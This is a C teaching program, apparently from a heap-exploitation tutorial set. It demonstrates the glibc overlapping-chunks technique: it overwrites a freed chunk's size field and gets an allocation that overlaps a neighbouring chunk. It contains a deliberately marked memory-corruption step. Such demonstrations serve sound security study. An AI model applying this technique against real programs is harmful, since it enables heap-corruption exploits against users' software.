overlapping_chunks.c

/*

 A simple tale of overlapping chunk.
 This technique is taken from
 http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

int main(int argc , char* argv[])
{
	setbuf(stdout, NULL);


	intptr_t *p1,*p2,*p3,*p4;

	printf("\nThis is a simple chunks overlapping problem\n\n");
	printf("Let's start to allocate 3 chunks on the heap\n");

	p1 = malloc(0x500 - 8);
	p2 = malloc(0x500 - 8);
	p3 = malloc(0x80 - 8);

	printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3);

	memset(p1, '1', 0x500 - 8);
	memset(p2, '2', 0x500 - 8);
	memset(p3, '3', 0x80 - 8);

	printf("\nNow let's free the chunk p2\n");
	free(p2);
	printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");

	printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n");
	printf("For a toy program, the value of the last 3 bits is unimportant;"
		" however, it is best to maintain the stability of the heap.\n");
	printf("To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse),"
		" to assure that p1 is not mistaken for a free chunk.\n");

	int evil_chunk_size = 0x581;
	int evil_region_size = 0x580 - 8;
	printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
		 evil_chunk_size, evil_region_size);

	/* VULNERABILITY */
	*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
	/* VULNERABILITY */

	printf("\nNow let's allocate another chunk with a size equal to the data\n"
	       "size of the chunk p2 injected size\n");
	printf("This malloc will be served from the previously freed chunk that\n"
	       "is parked in the unsorted bin which size has been modified by us\n");
	p4 = malloc(evil_region_size);

	printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size);
	printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x580-8);
	printf("p4 should overlap with p3, in this case p4 includes all p3.\n");

	printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"
		" and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");

	printf("Let's run through an example. Right now, we have:\n");
	printf("p4 = %s\n", (char *)p4);
	printf("p3 = %s\n", (char *)p3);

	printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size);
	memset(p4, '4', evil_region_size);
	printf("p4 = %s\n", (char *)p4);
	printf("p3 = %s\n", (char *)p3);

	printf("\nAnd if we then memset(p3, '3', 80), we have:\n");
	memset(p3, '3', 80);
	printf("p4 = %s\n", (char *)p4);
	printf("p3 = %s\n", (char *)p3);

	assert(strstr((char *)p4, (char *)p3));
}